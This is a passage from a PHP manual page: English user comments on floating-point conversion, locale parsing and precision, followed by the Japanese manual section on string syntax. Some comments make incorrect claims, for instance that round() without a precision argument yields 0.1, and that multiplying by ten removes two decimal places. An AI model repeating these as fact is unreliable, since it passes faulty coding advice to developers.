    $mantissa = str_split($mantissa);
    $exp = bindec($exp)-127;
    $significand=0;
    for ($i = 0; $i < 24; $i++) {
        $significand += (1 / pow(2,$i))*$mantissa[$i];
    }
    return $significand * pow(2,$exp) * ($sign*-2+1);
}
?>
pcunha at gmail dot com 23-Oct-2012 02:12
To simply convert 32 bits float from hex to float:

<?php
function hexfloat ($hex){
    return (unpack("f", pack('H*',$hex))[1]);
}
?>

This may be useful for arduino interface with php.
davidszilardd at gmail dot com 24-Apr-2012 10:58
The function returns 5 for 5,000 because if there is no decimal point, then the first strpos will be FALSE, and FALSE < 1 is TRUE so the condition will be still true.

It should be checked whether strpos returns a valid position:

<?php
function str2num($str)
{
      if (strpos($str, '.') !== FALSE && strpos($str,    ',') !== FALSE && strpos($str, '.') < strpos($str,','))
          {
            $str = str_replace('.','',$str);
            $str = strtr($str,',','.');
        }
        else
        {
            $str = str_replace(',','',$str);
        }

        return (float)$str;
}
?>
reinaldorock at yahoo dot com dot br 13-Oct-2011 07:12
Convert locale string into float number

<?php
function str2num($str){
  if(strpos($str, '.') < strpos($str,',')){
            $str = str_replace('.','',$str);
            $str = strtr($str,',','.');
        }
        else{
            $str = str_replace(',','',$str);
        }
        return (float)$str;
}

str2num('25,01'); //25.01
str2num('2.5,01'); //25.01
str2num('25.01'); //25.01
str2num('2,5.01'); //25.01
?>
zelko at mojeime dot com 31-Mar-2011 01:02
<?php
   $binarydata32 = pack('H*','00000000');
   $float32 = unpack("f", $binarydata32); // 0.0

   $binarydata64 = pack('H*','0000000000000000');
   $float64 = unpack("d", $binarydata64); // 0.0
?>

I get 0 both for 32-bit and 64-bit numbers.

But, please don't use your own "functions" to "convert" from float to binary and vice versa. Looping performance in PHP is horrible. Using pack/unpack you use processor's encoding, which is always correct. In C++ you can access the same 32/64 data as either float/double or 32/64 bit integer. No "conversions".

To get binary encoding:
<?php
   $float32 = pack("f", 5300231);
   $binarydata32 =unpack('H*',$float32); //"0EC0A14A"

   $float64 = pack("d", 5300231);
   $binarydata64 =unpack('H*',$float64); //"000000C001385441"
?>

And my example from half a year ago:
<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32); // 5300231

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64); // 5300231
?>

And please mind the Big and Little endian boys...
manasseh at smartcomputerinc.com 06-Mar-2011 07:35
I found that 00000000 hex was converting to 1.0 decimal. From the Wikipedia article on IEEE-754 floating point:

The true significand includes 23 fraction bits to the right of the binary point and an implicit leading bit (to the left of the binary point) with value 1 unless the exponent is stored with all zeros.

In hex2float32n, replace:

      $intnumber=bindec("1".$binint);

with

   if ($exp <> -127)
      { $intnumber=bindec("1".$binint); };

and then 00000000 works correctly without affecting "normal" numbers.
Julian L 09-Dec-2010 07:51
Convert a hex string into a 32-bit IEEE 754 float number.  This function is 2 times faster then the below hex to 32bit function.  This function only changes datatypes (string to int) once. Also, this function is a port from the hex to 64bit function from below.

<?php
function hexTo32Float($strHex) {
    $v = hexdec($strHex);
    $x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
    $exp = ($v >> 23 & 0xFF) - 127;
    return $x * pow(2, $exp - 23);
}
?>

<?php
//example
echo hexTo32Float("C4028000"); // outputs: -522
echo hexTo32Float("457F9000"); // outputs: 4089
echo hexTo32Float("2D7F5");    // outputs: 6.00804264307E-39
echo hexTo32Float("0002D7F5"); // outputs: 6.00804264307E-39
echo hexTo32Float("47D9F95E"); // outputs: 111602.734375
?>
zelko at mojeime dot com 05-Jun-2010 01:43
The was talk about "converting" 32 and 64 bit IEEE754 binary numbers to PHP float. The issue isn't as much converting, since they are already in binary form, as it is casting. PHP doesn't allow direct accessing of memory, but you can still get around a bit.

The right was to read floats (32 and 64 bit) is this:

<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32);

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64);

    var_dump($float32,$float64,$float32==$float64);
?>

The result of dump():
<?php
 array(1) {
  [1]=>
  float(5300231)
}
array(1) {
  [1]=>
  float(5300231)
}
bool(true)
?>

Note: mind the Big and Little endian boys
magicaltux at php dot net 01-Jun-2010 07:02
In some cases you may want to get the maximum value for a float without getting "INF".

var_dump(1.8e308); will usually show: float(INF)

I wrote a tiny function that will iterate in order to find the biggest non-infinite float value. It comes with a configurable multiplicator and affine values so you can share more CPU to get a more accurate estimate.

I haven't seen better values with more affine, but well, the possibility is here so if you really thing it's worth the cpu time, just try to affine more.

Best results seems to be with mul=2/affine=1. You can play with the values and see what you get. The good thing is this method will work on any system.

<?php
  function float_max($mul = 2, $affine = 1) {
    $max = 1; $omax = 0;
    while((string)$max != 'INF') { $omax = $max; $max *= $mul; }

    for($i = 0; $i < $affine; $i++) {
      $pmax = 1; $max = $omax;
      while((string)$max != 'INF') {
        $omax = $max;
        $max += $pmax;
        $pmax *= $mul;
      }
    }
    return $omax;
  }
?>
inforsci at gmail dot com 27-Apr-2010 11:48
convert 32bit HEX values into IEEE 754 floating point
<?php

$strHex = "C45F82ED";

$bin = str_pad(base_convert($strHex, 16, 2), 32, "0", STR_PAD_LEFT);
$sign = $bin[0];
$exp = bindec(substr($bin, 1, 8)) - 127;
$man = (2 << 22) + bindec(substr($bin, 9, 23));

$dec = $man * pow(2, $exp - 23) * ($sign ? -1 : 1);

echo "Answer = " . $dec . "<BR>\n";

?>
Anonymous 25-Apr-2010 11:48
Calculations involving float types become inaccurate when it deals with numbers with more than approximately 8 digits long where ever the decimal point is.  This is because of how 32bit floats are commonly stored in memory.  This means if you rely on float types while working with tiny fractions or large numbers, your calculations can end up between tiny fractions to several trillion off.

This usually won't matter when converting to binary memory storage form and editing many applications' float memory addresses directly, or dealing with smaller length numbers.  But if you're working with larger scale numbers and decimals, it's best to switch to working with other types: http://www.php.net/manual/en/refs.math.php
francois dot barbier at gmail dot com 12-Aug-2009 08:49
As "m dot lebkowski+php at gmail dot com" (http://www.php.net/language.types.float#81416) noted 9 comments below :

When PHP converts a float to a string, the decimal separator used depends on the current locale conventions.

However, to declare a floating point number, one must always use a full stop otherwhise the code would be locale dependent (imagine the nightmare):
<?php
$float = 1.5;           // float(1.5)
$float = 1,5;           // Parse error: syntax error, unexpected ','
$float = (float) '1.5'; // float(1.5)
$float = (float) '1,5'; // float(1)
?>

Now, if you have a string containing a localized number, you can convert it back to a floating point number using the following function:
<?php
/**
 * Convert a localized number string into a floating point number
 *
 * @param      string $sNumber The localized number string to convert.
 * @return     float The converted number.
 */
function str2num($sNumber)
{
    $aConventions = localeConv();
    $sNumber = trim((string) $sNumber);
    $bIsNegative = (0 === $aConventions['n_sign_posn'] && '(' === $sNumber{0} && ')' === $sNumber{strlen($sNumber) - 1});
    $sCharacters = $aConventions['decimal_point'].
                   $aConventions['mon_decimal_point'].
                   $aConventions['negative_sign'];
    $sNumber = preg_replace('/[^'.preg_quote($sCharacters).'\d]+/', '', trim((string) $sNumber));
    $iLength = strlen($sNumber);
    if (strlen($aConventions['decimal_point']))
    {
        $sNumber = str_replace($aConventions['decimal_point'], '.', $sNumber);
    }
    if (strlen($aConventions['mon_decimal_point']))
    {
        $sNumber = str_replace($aConventions['mon_decimal_point'], '.', $sNumber);
    }
    $sNegativeSign = $aConventions['negative_sign'];
    if (strlen($sNegativeSign) && 0 !== $aConventions['n_sign_posn'])
    {
        $bIsNegative = ($sNegativeSign === $sNumber{0} || $sNegativeSign === $sNumber{$iLength - 1});
        if ($bIsNegative)
        {
            $sNumber = str_replace($aConventions['negative_sign'], '', $sNumber);
        }
    }
    $fNumber = (float) $sNumber;
    if ($bIsNegative)
    {
        $fNumber = -$fNumber;
    }
    return $fNumber;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$float = -123456.789;
$string = (string) $float;
var_dump($float);           // float(-123456,789)
var_dump($string);          // string(11) "-123456,789"
var_dump((float) $string);  // float(-123456)
var_dump(str2num($string)); // float(-123456,789)
?>

It also works with strings returned by the number_format() function:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$conv = localeconv();
$float = -123456.789;
$string = $conv['int_curr_symbol'].number_format($float, $conv['frac_digits'], $conv['decimal_point'], $conv['thousands_sep']);
var_dump($float);           // float(-123456,789)
var_dump($string);          // string(15) "EUR -123.456,79"
var_dump((float) $string);  // float(0)
var_dump(str2num($string)); // float(-123456,79)
?>
Bob 07-May-2009 10:04
Here is a function to convert an exponential-format float to a decimal-format float; e.g. 1.6e+12 to 1600000000000.
It will help addressing the problem specified by kjohnson above.
I have tested it, but not in any real world situation so any feedback/improvements/bug-reports would be appreciated.
<?php
function exp_to_dec($float_str)
// formats a floating point number string in decimal notation, supports signed floats, also supports non-standard formatting e.g. 0.2e+2 for 20
// e.g. '1.6E+6' to '1600000', '-4.566e-12' to '-0.000000000004566', '+34e+10' to '340000000000'
// Author: Bob
{
    // make sure its a standard php float string (i.e. change 0.2e+2 to 20)
    // php will automatically format floats decimally if they are within a certain range
    $float_str = (string)((float)($float_str));

    // if there is an E in the float string
    if(($pos = strpos(strtolower($float_str), 'e')) !== false)
    {
        // get either side of the E, e.g. 1.6E+6 => exp E+6, num 1.6
        $exp = substr($float_str, $pos+1);
        $num = substr($float_str, 0, $pos);

        // strip off num sign, if there is one, and leave it off if its + (not required)
        if((($num_sign = $num[0]) === '+') || ($num_sign === '-')) $num = substr($num, 1);
        else $num_sign = '';
        if($num_sign === '+') $num_sign = '';

        // strip off exponential sign ('+' or '-' as in 'E+6') if there is one, otherwise throw error, e.g. E+6 => '+'
        if((($exp_sign = $exp[0]) === '+') || ($exp_sign === '-')) $exp = substr($exp, 1);
        else trigger_error("Could not convert exponential notation to decimal notation: invalid float string '$float_str'", E_USER_ERROR);

        // get the number of decimal places to the right of the decimal point (or 0 if there is no dec point), e.g., 1.6 => 1
        $right_dec_places = (($dec_pos = strpos($num, '.')) === false) ? 0 : strlen(substr($num, $dec_pos+1));
        // get the number of decimal places to the left of the decimal point (or the length of the entire num if there is no dec point), e.g. 1.6 => 1
        $left_dec_places = ($dec_pos === false) ? strlen($num) : strlen(substr($num, 0, $dec_pos));

        // work out number of zeros from exp, exp sign and dec places, e.g. exp 6, exp sign +, dec places 1 => num zeros 5
        if($exp_sign === '+') $num_zeros = $exp - $right_dec_places;
        else $num_zeros = $exp - $left_dec_places;

        // build a string with $num_zeros zeros, e.g. '0' 5 times => '00000'
        $zeros = str_pad('', $num_zeros, '0');

        // strip decimal from num, e.g. 1.6 => 16
        if($dec_pos !== false) $num = str_replace('.', '', $num);

        // if positive exponent, return like 1600000
        if($exp_sign === '+') return $num_sign.$num.$zeros;
        // if negative exponent, return like 0.0000016
        else return $num_sign.'0.'.$zeros.$num;
    }
    // otherwise, assume already in decimal notation and return
    else return $float_str;
}
?>
Bob 07-May-2009 08:34
In MySQL, many floating point number types can have a range specified using 2 values, the "precision" and the "scale" E.g. 'float(precision,scale)' for the datatype. This syntax means a number may be <precision> bits long, but may only have <scale> bits after the decimal point. E.g. a 'float(5,2)' field may have the values -999.99 to 999.99.
Here is a function to validate a PHP float using this syntax:
<?php
function validate_float($float, $precision, $scale)
{
    $max = (float)str_pad("", $precision-$scale, '9').'.'.str_pad("", $scale, '9');
    $min = (float)"-$max";

    if(($float < $min) || ($float > $max)) return false;
    else return true;
}
?>
info at forrest79 dot net 10-Feb-2009 12:55
My BIN to FLOAT (IEEE754), the first one doesn't work for me:

<?php
        function binToFloat($bin) {
            if(strlen($bin) > 32) {
                return false;
            } else if(strlen($bin) < 32) {
                $bin = str_repeat('0', (32 - strlen($bin))) . $bin;
            }

            $sign = 1;
            if(intval($bin[0]) == 1) {
                $sign = -1;
            }

            $binExponent = substr($bin, 1, 8);
            $exponent = -127;
            for($i = 0; $i < 8; $i++) {
                $exponent += (intval($binExponent[7 - $i]) * pow(2, $i));
            }

            $binBase = substr($bin, 9);
            $base = 1.0;
            for($x = 0; $x < 23; $x++) {
                $base += (intval($binBase[$x]) * pow(0.5, ($x + 1)));
            }

            $float = (float) $sign * pow(2, $exponent) * $base;

            return $float;
        }
?>
kjohnson at zootweb dot com 02-Jun-2008 12:23
PHP switches from the standard decimal notation to exponential notation for certain "special" floats. You can see a partial list of such "special" values with this:

<?php
for( $tmp = 0, $i = 0; $i < 100; $i++ ) {
    $tmp += 100000;
    echo round($tmp),"\n";
}
?>

So, if you add two floats, end up with a "special" value, e.g. 1.2E+6, then put that value unmodified into an update query to store the value in a decimal column, say, you will likely get a failed transaction, since the database will see "1.2E+6" as varchar data, not decimal. Likewise, you will likely get an XSD validation error if you put the value into xml.

I have to be honest: this is one of the strangest things I have seen in any language in over 20 years of coding, and it is a colossal pain to work around.
m dot lebkowski+php at gmail dot com 27-Feb-2008 01:18
Just another note about the locales. Consider the following code:

<?php
    // in polish locale decimal separator is ","
    setlocale(LC_ALL, "pl_PL");
    $a = 5/2;
    echo (float)(string)$a;
    /// prints "2", so the decimal part is dropped
?>

This causes very serious problems in my opinion. In some locale combination the typecasting can be destructive.
Maybe when locale decimal separator is ",", then (float)"2,5" should be recognized as "two and a half"?
Anyway - bare that in mind and be very careful when casting floats to strings and back.
helly at php dot net 22-Oct-2007 12:10
Floating point values have a limited precision. Hence a value might not have the same string representation after any processing. That also includes writing a floating point value in your script and directly printing it without any mathematical operations.

If you would like to know more about "floats" and what IEEE 754 is read this: http://docs.sun.com/source/806-3568/ncg_goldberg.html
Luzian 17-Nov-2005 12:03
Be careful when using float values in strings that are used as code later, for example when generating JavaScript code or SQL statements. The float is actually formatted according to the browser's locale setting, which means that "0.23" will result in "0,23". Imagine something like this:

$x = 0.23;
$js = "var foo = doBar($x);";
print $js;

This would result in a different result for users with some locales. On most systems, this would print:

var foo = doBar(0.23);

but when for example a user from Germany arrives, it would be different:

var foo = doBar(0,23);

which is obviously a different call to the function. JavaScript won't state an error, additional arguments are discarded without notice, but the function doBar(a) would get 0 as parameter. Similar problems could arise anywhere else (SQL, any string used as code somewhere else). The problem persists, if you use the "." operator instead of evaluating the variable in the string.

So if you REALLY need to be sure to have the string correctly formatted, use number_format() to do it!
rick at ninjafoo dot com 06-Jul-2005 01:04
Concider the following:

(19.6*100) != 1960

echo gettype(19.6*100) returns 'double', However even .....

(19.6*100) !== (double)1960

19.6*100 cannot be compaired to anything without manually
casting it as something else first.

(string)(19.6*100) == 1960

Rule of thumb, if it has a decimal point, use the BCMath functions.
feline at NOSPAM dot penguin dot servehttp dot com 12-Aug-2004 06:36
General computing hint: If you're keeping track of money, do yourself and your users the favor of handling everything internally in cents and do as much math as you can in integers. Store values in cents if at all possible. Add and subtract in cents. At every operation that wii involve floats, ask yourself "what will happen in the real world if I get a fraction of a cent here" and if the answer is that this operation will generate a transaction in integer cents, do not try to carry fictional fractional accuracy that will only screw things up later.
james dot cridland at virginradio dot co dot uk 28-Apr-2003 07:44
The 'floating point precision' box in practice means:

<? echo (69.1-floor(69.1)); ?>
Think this'll return 0.1?
It doesn't - it returns 0.099999999999994

<? echo round((69.1-floor(69.1))); ?>
This returns 0.1 and is the workaround we use.

Note that
<? echo (4.1-floor(4.1)); ?>
*does* return 0.1 - so if you, like us, test this with low numbers, you won't, like us, understand why all of a sudden your script stops working, until you spend a lot of time, like us, debugging it.

So, that's all lovely then.
dev at maintainfit dot com 15-Apr-2003 11:27
I was programming an accounting application in MySql that required me to sum a collection of floats and ensure that they equal zero before commiting a transaction, but as seen above a sum of floats cannot always be trusted (as was my case).  I kept getting a very small remainder (like 1.4512431231e-14).  Since I had used number_format(num,2) to set the precision of the numbers in the database to only two (2) decimal places, when the time comes to calculate the sum I simply multiply every number by ten (10), therby eliminating and decimal places and leaving me with integers to preform my sum.  This worked great.
backov at spotbrokers-nospamplz dot com 05-Mar-2003 01:16
I'd like to point out a "feature" of PHP's floating point support that isn't made clear anywhere here, and was driving me insane.

This test (where var_dump says that $a=0.1 and $b=0.1)

if ($a>=$b) echo "blah!";

Will fail in some cases due to hidden precision (standard C problem, that PHP docs make no mention of, so I assumed they had gotten rid of it). I should point out that I originally thought this was an issue with the floats being stored as strings, so I forced them to be floats and they still didn't get evaluated properly (probably 2 different problems there).

To fix, I had to do this horrible kludge (the equivelant of anyway):

if (round($a,3)>=round($b,3)) echo "blah!";

THIS works. Obviously even though var_dump says the variables are identical, and they SHOULD BE identical (started at 0.01 and added 0.001 repeatedly), they're not. There's some hidden precision there that was making me tear my hair out. Perhaps this should be added to the documentation?
www.sarioz.com 04-Feb-2003 10:49
just a comment on something the "Floating point precision" inset, which goes: "This is related to .... 0.3333333."

While the author probably knows what they are talking about, this loss of precision has nothing to do with decimal notation, it has to do with representation as a floating-point binary in a finite register, such as while 0.8 terminates in decimal, it is the repeating 0.110011001100... in binary, which is truncated.  0.1 and 0.7 are also non-terminating in binary, so they are also truncated, and the sum of these truncated numbers does not add up to the truncated binary representation of 0.8 (which is why (floor)(0.8*10) yields a different, more intuitive, result).  However, since 2 is a factor of 10, any number that terminates in binary also terminates in decimal.


文字列

string は、文字が連結されたものです。PHP では、 文字は 1 バイトと同じです。つまり、256 個の異なる文字を使用可能です。 これは、PHP が Unicode をネイティブにサポートしていないことも意味します。 文字列型の詳細を参照ください。

注意: 32bit ビルドでは、 文字列の最大長は 2GB (2147483647 バイト) です。

構文

文字列リテラルは、4 つの異なる方法で指定することが可能です。

  • 引用符
  • 二重引用符
  • ヒアドキュメント構文
  • Nowdoc 構文

引用符

文字列を指定する最も簡単な方法は、引用符 (文字 ') で括ることです。

引用符をリテラルとして指定するには、バックスラッシュ (\) でエスケープする必要があります。 バックスラッシュをリテラルとして指定するには、二重 (\\) にします。 それ以外の場面で登場するバックスラッシュは、すべてバックスラッシュそのものとして扱われます。 つまり、\r や \n といったおなじみのエスケープシーケンスを書いても特別な効果は得られず、 書いたままの形式で出力されます。

注意: ダブルクォート 構文や heredoc 構文とは異なり、 変数と特殊文字のエスケープシーケンスは、 引用符 (シングルクオート) で括られた文字列にある場合には展開されません。

<?php
echo 'this is a simple string';

echo 'You can also have embedded newlines in
strings this way as it is
okay to do';

// 出力: Arnold once said: "I'll be back"
echo 'Arnold once said: "I\'ll be back"';

// 出力: You deleted C:\*.*?
echo 'You deleted C:\\*.*?';

// 出力: You deleted C:\*.*?
echo 'You deleted C:\*.*?';

// 出力: This will not expand: \n a newline
echo 'This will not expand: \n a newline';

// 出力: Variables do not $expand $either
echo 'Variables do not $expand $either';
?>

二重引用符

文字列が二重引用符 (") で括られた場合、 PHP は、以下のエスケープシーケンスを特殊な文字として解釈します。

エスケープされた文字
記述 | 意味
\n | ラインフィード (LF またはアスキーの 0x0A (10))
\r | キャリッジリターン (CR またはアスキーの 0x0D (13))
\t | 水平タブ (HT またはアスキーの 0x09 (9))
\v | 垂直タブ (VT またはアスキーの 0x0B (11))
\e | エスケープ (ESC あるいはアスキーの 0x1B (27))
\f | フォームフィード (FF またはアスキーの 0x0C (12))
\\ | バックスラッシュ
\$ | ドル記号
\" | 二重引用符
\[0-7]{1,3} | 正規表現にマッチする文字シーケンスは、8 進数表記の 1 文字です。 1 バイトに収まらない部分は、何もメッセージを出さずにオーバーフローします (そのため、"\400" === "\000" となります)。
\x[0-9A-Fa-f]{1,2} | 正規表現にマッチする文字シーケンスは、16 進数表記の 1 文字です。
\u{[0-9A-Fa-f]+} | 正規表現にマッチする文字シーケンスは、Unicode のコードポイントです。 そのコードポイントの UTF-8 表現を文字列として出力します。

繰り返しますが、この他の文字をエスケープしようとした場合には、 バックスラッシュも出力されます!

しかし、二重引用符で括られた文字列で最も重要なのは、 変数名が展開されるところです。詳細は、文字列のパースを参照ください。

ヒアドキュメント

文字列を区切る別の方法としてヒアドキュメント構文 ("<<<") があります。この場合、ある ID (と、それに続けて改行文字) を <<< の後に指定し、文字列を置いた後で、同じ ID を括りを閉じるために置きます。

終端 ID は、その行の最初のカラムから始める必要があります。 使用するラベルは、PHP の他のラベルと同様の命名規則に従う必要があります。 つまり、英数字およびアンダースコアのみを含み、 数字でない文字またはアンダースコアで始まる必要があります。

警告

非常に重要なことですが、終端 ID がある行には、セミコロン (;) 以外の他の文字が含まれていてはならないことに注意しましょう。 これは、特に ID はインデントしてはならないということ、 セミコロンの前に空白やタブを付けてはいけないことを意味します。 終端 ID の前の最初の文字は、使用するオペレーティングシステムで定義された 改行である必要があることにも注意を要します。 これは、UNIX システムでは macOS を含め \n となります。 最後の区切り文字の後にもまた、改行を入れる必要があります。

この規則が破られて終端 ID が "clean" でない場合、 終端 ID と認識されず、PHP はさらに終端 ID を探し続けます。 適当な終了 ID がみつからない場合、 スクリプトの最終行でパースエラーが発生します。

例1 間違った例

<?php
class foo {
    public $bar = <<<EOT
bar
    EOT;
}
// 識別子はインデントしてはいけません
?>

例2 有効な例

<?php
class foo {
    public $bar = <<<EOT
bar
EOT;
}
?>

変数を含んでいるヒアドキュメントは、クラスのプロパティの初期化に用いることはできません。

ヒアドキュメントは二重引用符を使用しませんが、 二重引用符で括られた文字列と全く同様に動作します。 しかし、この場合でも上記のリストでエスケープされたコードを使用することも可能です。 変数は展開されますが、文字列の場合と同様に ヒアドキュメントの内部で複雑な変数を表わす場合には注意が必要です。

例3 ヒアドキュメントで文字列を括る例

<?php
$str = <<<EOD
Example of string
spanning multiple lines
using heredoc syntax.
EOD;

/* 変数を使用するより複雑な例 */
class foo
{
    var $foo;
    var $bar;

    function __construct()
    {
        $this->foo = 'Foo';
        $this->bar = array('Bar1', 'Bar2', 'Bar3');
    }
}

$foo = new foo();
$name = 'MyName';

echo <<<EOT
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should print a capital 'A': \x41
EOT;
?>

上の例の出力は以下となります。

My name is "MyName". I am printing some Foo.
Now, I am printing some Bar2.
This should print a capital 'A': A

ヒアドキュメント構文を用いて、 関数の引数にデータを渡すこともできます。

例4 ヒアドキュメントを引数に使用する例

<?php
var_dump(array(<<<EOD
foobar!
EOD
));
?>

静的な変数やクラスのプロパティ/定数は、 ヒアドキュメント構文で初期化することができます。

例5 ヒアドキュメントを用いた静的な値の初期化

<?php
// 静的変数
function foo()
{
    static $bar = <<<LABEL
Nothing in here...
LABEL;
}

// クラスのプロパティ/定数
class foo
{
    const BAR = <<<FOOBAR
Constant example
FOOBAR;

    public $baz = <<<FOOBAR
Property example
FOOBAR;
}
?>

ヒアドキュメントの宣言をダブルクォートで囲むこともできます。

例6 ヒアドキュメントでのダブルクォート

<?php
echo <<<"FOOBAR"
Hello World!
FOOBAR;
?>

Nowdoc

Nowdoc はヒアドキュメントと似ていますが、 ヒアドキュメントがダブルクォートで囲んだ文字列として扱われるのに対して、 Nowdoc はシングルクォートで囲んだ文字列として扱われます。 Nowdoc の使用方法はヒアドキュメントとほぼ同じですが、 その中身について パース処理を行いません。 PHP のコードや大量のテキストを埋め込む際に、 エスケープが不要になるので便利です。この機能は、SGML の <![CDATA[ ]]> (ブロック内のテキストをパースしないことを宣言する) と同じようなものです。

Nowdoc の書き方は、ヒアドキュメントと同じように <<< を使用します。 しかし、その後に続く識別子をシングルクォートで囲んで <<<'EOT' のようにします。 ヒアドキュメントの識別子に関する決まりがすべて Nowdoc の識別子にも当てはまります。特に終了識別子の書き方に関する決まりに注意しましょう。

例7 Nowdoc による文字列のクォートの例

<?php
echo <<<'EOD'
Example of string spanning multiple lines
using nowdoc syntax. Backslashes are always treated literally,
e.g. \\ and \'.
EOD;

上の例の出力は以下となります。

Example of string spanning multiple lines
using nowdoc syntax. Backslashes are always treated literally,
e.g. \\ and \'.

例8 Nowdoc string quoting example with variables

<?php
/* 変数を使った、より複雑な例 */
class foo
{
    public $foo;
    public $bar;

    function __construct()
    {
        $this->foo = 'Foo';
        $this->bar = array('Bar1', 'Bar2', 'Bar3');
    }
}

$foo = new foo();
$name = 'MyName';

echo <<<'EOT'
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41
EOT;
?>

上の例の出力は以下となります。

My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41

例9 静的データの例

<?php
class foo {
    public $bar = <<<'EOT'
bar
EOT;
}
?>

変数のパース

スクリプトが二重引用符で括られるかヒアドキュメントで指定された場合、 その中の変数はパースされます。

構文の型には、単純な構文と 複雑な 構文の 2 種類があります。簡単な構文は、最も一般的で便利です。 この構文では、変数、配列値やオブジェクトのプロパティをパースすることが可能です。

複雑な構文は、式を波括弧で括ることにより認識されます。

簡単な構文

ドル記号 ($) を見付けると、 パーサは、有効な変数名を形成することが可能な最長のトークンを取得します。 変数名の終りを明示的に指定したい場合は、変数名を波括弧で括ってください。

<?php
$juice = "apple";

echo "He drank some $juice juice.".PHP_EOL;
// 動作しません。"s" は、変数名として有効な文字ですが、実際の変数名は $juice です。
echo "He drank some juice made of $juices.";
// 動作します。波括弧で囲むことで、どこまでが変数名かを明示しているからです。
echo "He drank some juice made of ${juice}s.";
?>

上の例の出力は以下となります。

He drank some apple juice.
He drank some juice made of .
He drank some juice made of apples.

同様に、配列添字とオブジェクトのプロパティをパースすることも可能です。 配列添字の場合、閉じ角括弧 (]) は添字の終りを意味します。 シンプルな変数の場合と同じ規則が、オブジェクトのプロパティに対しても適用されます。

例10 簡単な構文の例

<?php
$juices = array("apple", "orange", "koolaid1" => "purple");

echo "He drank some $juices[0] juice.".PHP_EOL;
echo "He drank some $juices[1] juice.".PHP_EOL;
echo "He drank some $juices[koolaid1] juice.".PHP_EOL;

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john drank some $juices[0] juice.".PHP_EOL;
echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths."; // 動作しません
?>

上の例の出力は以下となります。

He drank some apple juice.
He drank some orange juice.
He drank some purple juice.
John Smith drank some apple juice.
John Smith then said hello to Jane Smith.
John Smith's wife greeted Robert Paulsen.
Robert Paulsen greeted the two .

PHP 7.1.0 以降では、 負の 数値インデックスもサポートされました。

例11 負の数値インデックス

<?php
$string = 'string';
echo "The character at index -2 is $string[-2].", PHP_EOL;
$string[-3] = 'o';
echo "Changing the character at index -3 to o gives $string.", PHP_EOL;
?>

上の例の出力は以下となります。

The character at index -2 is n.
Changing the character at index -3 to o gives strong.

より複雑な場合は、複雑な構文を使用する必要があります。

複雑な (波括弧) 構文

この構文が「複雑(complex)な構文」と呼ばれているのは、 構文が複雑であるからではなく、 この方法では複雑な式を含めることができるからです。

どんなスカラー変数、配列の要素あるいはオブジェクトのプロパティの文字列表現であっても この構文で含めることができます。 文字列の外側に置く場合と同様に式を書き、これを { と } の間に含めてください。'{' はエスケープすることができないため、 この構文は $ が { のすぐ後に続く場合にのみ認識されます (リテラル "{$" を指定するには、"{\$" を使用してください)。 以下のいくつかの例を見ると理解しやすくなるでしょう。

<?php
// すべてのエラーを表示します
error_reporting(E_ALL);

$great = 'fantastic';

// うまく動作しません。出力: This is { fantastic}
echo "This is { $great}";

// うまく動作します。出力: This is fantastic
echo "This is {$great}";

// 動作します
echo "This square is {$square->width}00 centimeters broad.";

// 動作します。クォートしたキーを使う場合は、波括弧構文を使わなければなりません
echo "This works: {$arr['key']}";

// 動作します
echo "This works: {$arr[4][3]}";

// これが動作しない理由は、文字列の外で $foo[bar]
// が動作しない理由と同じです。
// 言い換えると、これは動作するともいえます。しかし、
// PHP はまず最初に foo という名前の定数を探すため、
// E_NOTICE レベルのエラー(未定義の定数) となります。
echo "This is wrong: {$arr[foo][3]}";

// 動作します。多次元配列を使用する際は、
// 文字列の中では必ず配列を波括弧で囲むようにします。
echo "This works: {$arr['foo'][3]}";

// 動作します
echo "This works: " . $arr['foo'][3];

echo "You can even write {$obj->values[3]->name}";

echo "This is the value of the var named $name: {${$name}}";

echo "This is the value of the var named by the return value of getName(): {${getName()}}";

echo "This is the value of the var named by the return value of \$object->getName(): {${$object->getName()}}";

// 動作しません。出力: This is the return value of getName(): {getName()}
echo "This is the return value of getName(): {getName()}";
?>

文字列内で、変数を使ってクラスのプロパティにアクセスすることもできます。 このような構文を使います。

<?php
class foo {
    var $bar = 'I am bar.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo "{$foo->$bar}\n";
echo "{$foo->{$baz[1]}}\n";
?>

上の例の出力は以下となります。

I am bar.
I am bar.

注意:

{$} の内部における 関数やメソッドのコール、静的クラス変数、クラス定数からアクセスする値は、 文字列が定義されたスコープにおける変数名として解釈します。 ひとつの波括弧 ({}) では、 関数やメソッドの返り値、クラス定数や静的クラス変数の値にはアクセスできません。

<?php
// すべてのエラーを表示します
error_reporting(E_ALL);

class beers {
    const softdrink = 'rootbeer';
    public static $ale = 'ipa';
}

$rootbeer = 'A & W';
$ipa = 'Alexander Keith\'s';

// これは動作し、出力は I'd like an A & W となります
echo "I'd like an {${beers::softdrink}}\n";

// これも動作し、出力は I'd like an Alexander Keith's となります
echo "I'd like an {${beers::$ale}}\n";
?>

文字列への文字単位のアクセスと修正

$str[42] のように、 角括弧を使用してゼロから始まるオフセットを指定すると、 文字列内の任意の文字にアクセスし、修正することが可能です。 つまり、文字列を文字の配列として考えるわけです。 複数の文字を取り出したり変更したりしたいときは、関数 substr() および substr_replace() が使えます。

